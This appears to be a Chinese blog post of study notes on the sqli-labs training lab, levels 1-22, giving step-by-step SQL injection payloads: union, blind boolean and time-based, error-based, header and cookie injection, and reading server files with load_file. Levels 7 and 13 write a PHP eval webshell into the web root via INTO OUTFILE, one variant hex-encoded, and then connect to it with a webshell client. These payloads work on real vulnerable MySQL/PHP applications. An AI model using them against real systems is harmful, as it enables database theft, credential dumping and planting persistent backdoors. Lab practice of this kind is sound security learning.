美文网首页
SQLiLab学习笔记less1-22 by L0st

SQLiLab学习笔记less1-22 by L0st

作者: l0st | 来源:发表于2018-11-21 14:01 被阅读0次

    less-1&2

    一打开就来了一句"Please input the ID as parameter with numeric value"误导了我。。
    真的以为是数字型注入,用id=1 union select..试了半天。后来才发现是字符型注入。
    然后用 id=0' union select 1-99#和-- 各种尝试均失败,看writeup发现末尾应该使用 --+ 来注释。

    知道了是字符型,那么先看看该sql请求查询了几个字段:
    1' order by 1~4 --+
    不断尝试直到by 4时页面报错,即查询了三个字段,现在可以开始查询了

    union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+
    

    故MySql常用注释方法:
    / #(即%23) -- /.../ --+

    常用函数

    1. version()——MySQL版本
    2. user()——数据库用户名
    3. database()——数据库名
    4. @@datadir——数据库路径
    5. @@version_compile_os——操作系统版本

    字符串连接函数:
    concat(str1,str2,...)——没有分隔符地连接字符串
    concat_ws(separator,str1,str2,...)——含有分隔符地连接字符串
    group_concat(str1,str2,...)——连接一个组的所有字符串,并以逗号分隔每一条数据

    sql中运算优先级and高于or,所以username=’admin’ and password=’’or 1=1
    ( 假 ) 或 真 = 真
    常用SQL查询语句:

    show databases查询所有库
    use table_name进入库,如use information_schema使用系统数据库
    show tables查询库中表
    desc table_name查询表结构

    查库select schema_name from information_schema.schemata
    查此库的表
    select table_name from information_schema.tables where table_schema=’xxxxx’
    查该表的所有列:
    Select column_name from information_schema.columns where table_name=’xxxxx’
    查该列数据:
    select * from table_name where id=1--+ limit 0,1

    本题query
    $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"
    $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1"

    less-3

    使用a'b'c'd'e测试是哪种闭合方式,发现返回 near 'b'c'd'e') LIMIT 0,1' at line 1
    猜测SQL语句为select * from table where id=('$_GET')
    故使用1')来闭合输入
    然后依旧需要用--+来注释闭合

    本题query
    $sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

    less-4:

    输入id=1'发现返回正常,输入id=1"返回报错near '"1"") LIMIT 0,1'
    故推测查库语句应该为select * where id=("...")

    本题query
    $id = '"' . $id . '"'; $sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";


    盲注分为三种:
    布尔型,时间性,报错型

    常用截取字符串函数:
    mid(column_name,start,length)
    column_name:要提取的字段名
    start:规定开始位置(起始值为1)
    length:要返回的字符数,可以留空,则返回剩余文本

    substr()
    substring()
    用法均同mid()

    left(string,n) string--要截取的字符串 n--长度
    left()得到字符串左边指定个数的字符,即截取前n个字符
    例如:left(database(),1)>’a’,查看数据库名第一位

    ord()
    此函数为返回第一个字符的ASCII码
    例如ORD(MID(DATABASE(),1,1))>114
    意为检测database()的第一位ASCII码是否大于114,也即是‘r’

    ascii()用法如ord(需与subsrt截取函数组合使用)

    用例:
    substr((SELECT table_name FROM INFORMATION_SCHEMA.TABLES
    WHERE table_schema=0xxxxxxx LIMIT 0,1),1,1)>’a’
    若table_name首字符大于a,则返回真,否则为假

    常用的报错注入函数:
    extractvalue(1,concat(0x7e,(select @@version),0x7e)) 查询xml
    updatexml(1,concat(0x7e,(select @@version),0x7e),1) 修改xml


    less-5

    使用id=1'后报错,故判断为字符型。但正常页面并不返回数据,故判断为布尔型盲注。
    猜测数据库版本号:
    id=1' and left(version(),1)=5--+
    猜测数据库长度:
    id=1' and length(database())>5--+
    猜测数据库名第一位:
    id=1' and left(version(),1)>'a'--+
    猜测数据库第二位:
    id=1' and left(version(),2)>'se'--+
    猜测库中的表名:
    id=1' and ascii(substr((select table_name from information_schema.tables
    where table_schema=database() limit 0,1),1,1))>101
    猜测表中的第一列(使用regexp列(使用regexp,测试users表中的列名是否含有us的列):
    id=1' and 1=(select 1 from information_schema.columns
    where table_name='users' and column_name regexp '^us[a-z]' limit 0,1) --+
    猜测表中的第一列是否含有username:
    id=1' and 1=(select 1 from information_schema.columns
    where table_name='users' and column_name regexp '^username' limit 0,1) --+
    猜测users表的内容:(获取username中的第一行的第一个字符的ascii,与68进行比较,
    即为D。而我们从表中得知第一行的数据为Dumb)
    id=1' and ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)
    FROM security.users ORDER BY id LIMIT 0,1),1,1))=68--+

    less-6

    使用id=1'无报错,id=0'无报错,猜测不是'闭合,测试id=0 or 1=1--+无果,
    id=0' or 1=1--+无果,id=0" or 1=1--+返回正常,推测使用"..."闭合
    使用id=1" and 1=2--+返回错误,验证推测。

    此类题也可用时间注入:

    IF(expression1,expression2,expression3) 如果ex1成立,则执行ex2,否则ex3)
    ?id=1" and IF(length(database())>8,1,sleep(5)) --+
    该语句的作用是如果数据库长度大于8,则立刻返回正常页面,否则延时5秒后返回
    BENCHMARK(arg1,arg2) 该函数在MYSQL中用来测试一些函数的执行速度。arg1是执行的次数,arg2是要执行的函数或是表达式。
    ?id=1" and if(length(database())>7,BENCHMARK(1000000,md5('a')),1) --+
    if条件如果为真,则对字符a进行md5编码1000000次,否则立刻返回结果

    less-7


    Load_file(file_name)函数读取文件并返回该文件的内容作为一个字符串
    使用条件:

    1. 必须要权限读取且文件必须完全可读
      and (select count(*) from mysql.user)>0
      如果返回正常,说明有读写权限。
    2. 欲读取文件必须位于服务器上
    3. 必须指定文件完整路径 //可以想办法提交错误的Query让程序报错获得路径
    4. 欲读取文件必须小于 max_allowed_packet

    用法:

    1. union select 1,1,1,load_file(char(99,58,47,98,111,111,116,46,105,110,105))
      “char(99,58,47,98,111,111,116,46,105,110,105)”就是“c:/boot.ini”的ASCII代码
    2. union select 1,1,1,load_file(0x633a2f626f6f742e696e69)
      “c:/boot.ini”的16进制是“0x633a2f626f6f742e696e69”
    3. union select 1,1,1,load_file(c:\\boot.ini)
      注意:路径里的/用 \\代替

    导入到文件
    SELECT.....INTO OUTFILE 'file_name'
    可以把被选择的行写入一个文件中。该文件被创建到服务器主机上,因此您必须拥有FILE权限,才能使用此语法。file_name不能是一个已经存在的文件。

    有两种利用方式:

    1. Select '<?php @eval($_post[“mima”])?>' into outfile “c:\\phpnow\\htdocs\\test.php” //即直接将select内容导入文件中,但这里需要注意特殊符号被转义
    2. Select version() Into outfile “c:\\phpnow\\htdocs\\test.php” LINES TERMINATED BY 0x16进制文件 //本意是行结尾时要使用Lines terminated by 后面的内容,通常为'/r/n',我们在BY后面添加自己的16进制文件
      可以是一句话或其他任何代码。
    Tips
    1. 文件路径注意转义
    2. 如果当前页面无法导出文件,可写入到新文件中读取:
      select load_file(‘c:\\wamp\\bin\\mysql\\mysql5.6.17\\my.ini’)into outfile ‘c:\\wamp\\www\\test.php’
      即将my.ini导出到test.php,我们访问test.php可看到文件内容

    从源代码中可以看到Query为
    $sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";
    此处依旧可以使用报错注入,但这里我们练习文件导入注入

    ?id=1')) union select 1,group_concat(username),group_concat(password) from users into outfile 'c:\\xampp\\htdocs\\2.php' --+
    导出用户名及密码,需知道当前查询表名
    有几个需要注意的点,这里联合查询的条件是前面的语句为真,即id=1返回正常,还有就是windows中的'/'换成'\'

    ?id=1')) union select 1,'<?php @eval($_POST["syc"])?>',3 into outfile 'c:\\xampp\\htdocs\\new.php' --+

    ?id=1')) union select 1,version(),3 into outfile 'c:\\xampp\\htdocs\\new.php' LINES TERMINATED BY 0x3c3f70687020406576616c28245f504f53545b22737963225d293f3e --+
    两种语句均是同样的效果,写入一句话成功后直接用菜刀连接即可

    less-8

    同less-5,使用布尔或延时注入方法

    less-9

    通过简单测试可以发现,无论输入查询的数据正确与否,页面内容不会随之改变,故考虑使用延时注入
    ?id=1' and if(substr(user(),1,1)>'a',sleep(5),1) --+
    延时注入完整流程
    猜测数据库:

    ?id=1%27and%20If(ascii(substr(database(),1,1))=115,1,sleep(5))--+,1,1))=116,1,sleep(5))--+)

    说明第一位是s (ascii码是115)

    ?id=1%27and%20If(ascii(substr(database(),2,1))=101,1,sleep(5))--+

    说明第一位是e (ascii码是101)

    ....

    以此类推,我们知道了数据库名字是security

    猜测security的数据表:

    ?id=1'and If(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101,1,sleep(5))--+

    猜测第一个数据表的第一位是e,...依次类推,得到emails

    ?id=1'and If(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),1,1))=114,1,sleep(5))--+

    猜测第二个数据表的第一位是r,...依次类推,得到referers

    ...

    再以此类推,我们可以得到所有的数据表emails,referers,uagents,users

    猜测users表的列:

    ?id=1'and If(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))=105,1,sleep(5))--+

    猜测users表的第一个列的第一个字符是i,

    以此类推,我们得到列名是id,username,password

    猜测username的值:

    ?id=1'and If(ascii(substr((select username from users limit 0,1),1,1))=68,1,sleep(5))--+

    猜测username的第一行的第一位

    以此类推,我们得到数据库username,password的所有内容

    less-10

    ?id=1" and if(left(user(),1)='r',sleep(5),1) --+
    除使用双引号闭合id外,与less-9无异

    less-11

    该题使用POST方法提交参数,看下Query语句
    $sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";

    先来试试万能密码:

    username:'or 1=1 limit 1,1 #
    password: whatever....
    改变limit后面的数字为 2,1 3,1 4,1既可查询不同用户的密码

    联合查询

    username=admin' order by 1 # 替换 1 为2,3,4...直到报错为止,既可知道查询的字段数

    username=0' union select 1,2 # 显示字段显示的位置

    username=0' union select user(),version() # 剩下的步骤与GET型无异

    less-12

    先测试一下Query语句中如何闭合一个参数的输入
    username=a'a"a')aa
    报错:
    You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'a')aa") and password=("da") LIMIT 0,1' at line 1
    可以看出应使用 ") 来闭合
    剩下与less-11无异

    less-13

    源码中的Query请求:
    $sql="SELECT username, password FROM users WHERE username=('$uname') and password=('$passwd') LIMIT 0,1";
    同样构造:
    username=admin') #
    password=随便输
    显示登陆正常,但不会返回任何数据,这里要结合盲注技术:
    admin') union select 1,'<?php @eval($_POST["syc"])?>' into outfile 'c:\\xampp\\htdocs\\1.php' #
    直接上菜刀就行

    less-14

    闭合参数的方法为 "$id" ,其余同less-13

    less-15

    先测试一下参数是如何闭合的,多试几次就发现uname=1' or 1=1 # 可以成功登陆,
    说明参数以 '$id' 方式闭合,然后开始造轮子:
    1' or 1=1 and length(user())>10 #
    或者延时注入:
    1' or 1=1 and if(length(user())>5,benchmark(1000000,md5('a')),1) #
    接下来就是盲注的过程,参考前文.

    less-16

    除闭合方式变为 ("$id") 外,与less-15无异

    less-17


    SQL中对于数据的查询,增减与修改:

    查询

    select * from users where id=1;

    增加

    insert into users values('16','cat','cat'); 直接增加一行数据至users表

    删除
    1. 删除数据
      delete from table_name;
      delete from table_name where id=1; 删除指定条件的数据
    2. 删除结构
      drop database database_name; 删库
      drop table table_name; 删表
      alter table table_name drop column column_name; 删除表中的列
    3. 修改
      update table_name set column_name='new_value'; 修改所有列的数据
      update table_name set column_name='new_value' where id=1; 指定条件修改

    先来看下源码中程序是如何修改用户密码的:

    $sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";
    $row=mysql_query($sql);
    $row1=$row['username'];
    $update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
    

    因为程序对username做了严格过滤,故只有password处存在注入:
    构造payload:
    New Password=
    123' and if(length(user())>10,1,benchmark(1111111,md5('a'))) #
    剩下就是延时注入的套路了。

    less-18

    先看源码:

    $uagent = $_SERVER['HTTP_USER_AGENT'];
    $IP = $_SERVER['REMOTE_ADDR'];
    
    $sql="SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";`
    
    $insert="INSERT INTO security.uagents (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";`
    

    这里我们在HTTP请求中User_Agent处利用报错注入:
    'and updatexml(1,(select @@version),1) and '1'='1 查询mysql版本

    'and extractvalue(1,concat(0x7e,(select @@version),0x7e,(select user()),0x7e)) and '1'='1
    'and extractvalue(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1))) and '1'='1 查询库名

    less-19

    与less-18无异,只是将注入点换成了HTTP请求头的Referer

    less-20

    先看一个函数setcookie():
    setcookie(name,value,expire,path,domain,secure)
    然后看关键的几处源码:

    生成cookie:
    $uname = check_input($_POST['uname']);
    $passwd = check_input($_POST['passwd']);
    
    $sql="SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
    $result1 = mysql_query($sql);
    $row1 = mysql_fetch_array($result1);
    $cookee = $row1['username'];
    
    setcookie('uname', $cookee, time()+3600);
    
    设置cookie后:
    $cookee = $_COOKIE['uname'];
    echo "YOUR COOKIE : uname = $cookee and expires: " . date($format, $timestamp);
    $sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";
    $result=mysql_query($sql);
    if (!$result)
        {
            die('Issue with your mysql: ' . mysql_error());
        }
    

    可以看到,在成功登陆后服务端会生成一段cookie,然后客户端请求页面(刷新)时会带上设置的cookie,程序会读取cookie中的uname数据,并且将其带入数据库查询,故我们需在uname处构造payload:
    uname=admin' and updatexml(1,(select user()),1) #

    less-21

    查看源码发现大部分与less-20相同,只是多了:

    $cookee = $_COOKIE['uname'];
    $cookee = base64_decode($cookee);     //对$cookee进行了一次BASE64解码
    $sql="SELECT * FROM users WHERE username=('$cookee') LIMIT 0,1";
    //注意,此处闭合参数需要用')
    

    那么我们将payload进行一次BASE64编码:

    编码前:da') and updatexml(1,(select @@version),1) #
    编码后:ZGEnKSBhbmQgdXBkYXRleG1sKDEsKHNlbGVjdCBAQHZlcnNpb24pLDEpICM=

    然后在cookie中发送:
    uname=ZGEnKSBhbmQgdXBkYXRleG1sKDEsKHNlbGVjdCBAQHZlcnNpb24pLDEpICM=
    即可返回数据库版本

    less-22

    与less-21差不多,也只是多了:
    $cookee1 = '"'. $cookee. '"';
    造轮子时需要用双引号闭合。

    相关文章

      网友评论

          本文标题:SQLiLab学习笔记less1-22 by L0st

          本文链接:https://www.haomeiwen.com/subject/zbfcqqtx.html